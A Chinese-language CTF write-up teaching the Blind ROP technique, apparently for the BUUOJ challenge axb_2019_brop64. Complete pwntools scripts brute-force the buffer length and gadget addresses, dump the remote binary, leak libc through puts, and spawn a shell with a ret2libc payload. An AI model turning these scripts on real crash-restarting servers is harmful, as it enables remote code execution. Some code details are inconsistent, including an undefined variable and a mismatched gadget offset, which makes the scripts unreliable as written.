简介
Blind ROP 是在没有对应程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
我们通常简称为盲打,亦或者黑盒 pwn。
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx,MySql,Apache,OpenSHH 等服务器程序都是符合这种特性的。
攻击原理
目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。
基本思路
在 BROP 中,基本的遵循的思路如下
- 判断栈溢出长度
- Stack Reading
- 获取栈上的数据来泄露
canary
,以及ebp
和返回地址
- Blind ROP
- 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的
write
函数以及puts
函数。
- Build the exploit
- 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exp。
栈溢出长度
直接从 1 开始暴力枚举,直到发现程序崩溃。
因为如果程序崩溃必然是栈上的返回地址被覆盖导致程序返回错误。
所以我们通过崩溃时枚举的长度就可以得出缓冲区的长度。
即:缓冲区长度 = 崩溃长度 - 1
Stack Reading
这是目前经典的栈布局
1
| buffer|canary|ebp|return address
|
通过逐字节爆破来获取canary
的值, 每个字节最多有 256 种可能,所以在 32 位的情况下,我们最多需要爆破 1024 次,64 位最多爆破 2048 次。
这里我们可以进行爆破的前提条件是攻击条件 2,即使程序崩溃也不会产生任何变化。
Blind ROP
我们需要进行 ROP,就必须有操作函数参数的 gadget。
所以接下来我们需要寻找足够多的 gadget,一般在可执行文件中都会存在libc_csu_init
函数,所以我们可以使用libc_csu_init
结尾的一段 gadgets 来实现。
所以接下来只需要找libc_csu_init
中的 gadgets,然后再找plt
即可。
找 gadgets
查找 gadgets,我们可以分为两步:
- 寻找 stop gadget
当执行这一段代码时,程序正确返回不崩溃。一般为_start
或main
函数的地址。
- 识别 gadgets
libc_csu_init
中的 gadgets 可以进行 6 次pop
,我们查找可以通过从程序起始地址开始遍历(如:64程序起始地址为0x400000),找到可以正确从栈中弹出数据6次的地址。
在 brop 中,我们一般称它为 brop_gadgets。
找 PLT
找到了 gadgets 以后,我们只需要根据函数功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的PLT
表地址。
比如:payload = 'a'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
如果能够把0x400000
的内容给输出来就可以找到put@plt
了
例题
接下来我们通过一道例题来进行 BROP 的学习。
axb_2019_brop64
根据上面的思路,我们编写枚举爆破的脚本来爆破缓冲区长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * import time sc=b'Please tell me:' xy=b'Goodbye!' def GetSize(): i = 1 while True: try: io=remote("node5.buuoj.cn",25820) io.recvuntil(sc) io.send(i * b'a') time.sleep(0.1) data = io.recv() io.close() if xy not in data: return i-1 else: i += 1 except EOFError: io.close() return i-1
size = GetSize() print(f"buffer size is [{size}]")
|
运行脚本之后我们获取到了缓冲区长度:216。
这 216 是包含rbp
和canary
在内的。
这里我们同样通过暴力枚举来寻找一个返回到那里程序不会崩溃的地址,通常是main
函数的地址。
如果我们枚举到了main
函数的地址,那么程序就会返回到main
函数再次执行一次,我们可以通过执行main
函数的特征来判断我们是否成功返回到了main
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| def GetStopAddr(size_len): address=0x4007d0 while True: print(hex(address)) try: io=remote("node5.buuoj.cn",25820) io.recvuntil(sc) payload = b'a'*size_len + p64(address) print(payload) io.send(payload) time.sleep(0.1) buf = io.recv() print(buf) output = io.recv() print(output) if b'Hello,' not in output: io.close() address += 1 else: return address except EOFError: address += 1 io.close() stop_gadgets = GetStopAddr(216) print('stop gadgets = 0x%x' % stop_gadgets)
|
最后结果是0x4007d6
。
这里同样枚举遍历即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| def GetBropGadget(length, stop_gadget, addr): try: io=remote("node5.buuoj.cn",25820) io.recvuntil(sc) payload=b'a'*length+p64(addr)+p64(0)*6+p64(stop_gadget)+p64(0)*10 io.send(payload) time.sleep(0.1) buf = io.recv() print(buf) output = io.recv() io.close() print(output) if ts not in output: return False return True except EOFError: io.close() return False
def Check(length,addr): try: io=remote("node5.buuoj.cn",25820) io.recvuntil(sc) payload=b'a'*length+p64(addr)+b'a'*8*10 io.send(payload) time.sleep(0.1) output = io.recv() io.close() print(output) return False except EOFError: io.close() return True size_len=216 stop_gadget = 0x4007d6 addr = 0x400500 print('stop gadget = 0x%x'%stop_gadget) while True: print(hex(addr)) if GetBropGadget(size_len,stop_gadget,addr): print("brop gadget: 0x%x"% addr) if Check(size_len,addr): print("brop gadget: 0x%x"% addr) break addr+=1
|
找到 brop gadgets 地址 0x40095a
我们通过从一个地址开始遍历,如果能够实现我们想要的函数功能,那么就说明我们找到了 PLT。
我们需要操作函数传参对应的 gadget,首当其冲的是pop rdi;ret
。而在libc_csu_init
中的pop r15;ret
对应的字节码为41 5f c3
,后两字节码5f c3
对应的汇编即为pop rdi;ret
。
而libc_csu_init
中pop rbx
和pop rdi;ret
的偏移是固定的 9 字节,所以我们可以将 brop gadgets 加上 4 字节得到pop rdi;ret
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| def GetPutsPlt(length,pop_rdi_ret,stop_gadget): addr = 0x400600 while True: print(hex(addr)) try: io=remote("node5.buuoj.cn",25820) io.recvuntil(sc) payload = b'a'*length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) io.send(payload) time.sleep(0.1) buf = io.recv() output = io.recv() if b'\x7fELF' in output: print('puts plt address = 0x%x' % (addr+1)) return addr+1 addr += 1 except EOFError: io.close() addr += 1 brop_gadget = 0x40095a pop_rdi_ret = 0x40095a+9 GetPutsPlt(size_len,pop_rdi_ret,stop_gadget)
|
找到 plt 表地址
1
| puts plt address = 0x400636
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| def leak(offset,pop_rdi_ret,puts_plt,leak_addr,stop_addr): io=remote("node5.buuoj.cn",25820) payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b'a'*offset) io.recv(3) try: output = io.recv(timeout = 1) io.close() try: output = output[:output.index(b"\nHello,I am a computer")] print(output) except Exception: output = output if output == b"": output = b"\x00" return output except Exception: io.close() return None
def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr): result =b'' while addr < 0x402300: print(hex(addr)) output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr) if output is None: result += b'\x00' addr += 1 continue else: result += output addr += len(output) with open('dump_file','wb') as f: f.write(result) dump_file(size_len,pop_rdi_ret,puts_plt,0x400000,stop_gadget)
|
dump 程序后获取到 puts 函数 got 表地址,然后即可进行 ret2libc了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| def exp(offset,pop_rdi_ret,puts_got,puts_plt,stop_gadget): io=remote("node5.buuoj.cn",25820) libc=ELF("/buu/64/libc-2.23.so") ret = 0x40095a + 0x9 + 0x5 payload = b'a'*offset payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b'a'*offset) io.recv(3) func_addr = io.recv(6) puts_addr = u64(func_addr.ljust(8,b'\x00')) print(hex(puts_addr)) libcbase=puts_addr-libc.sym.puts sys=libcbase+libc.sym.system sh=libcbase+next(libc.search("/bin/sh\x00")) io.recvuntil(b"Please tell me:") payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(sh) + p64(sys) + p64(stop_gadget) io.sendline(payload) io.interactive()
exp(size_len,pop_rdi_ret,0x601018,puts_plt,stop_gadget)
|
后言
参考:ctf-wiki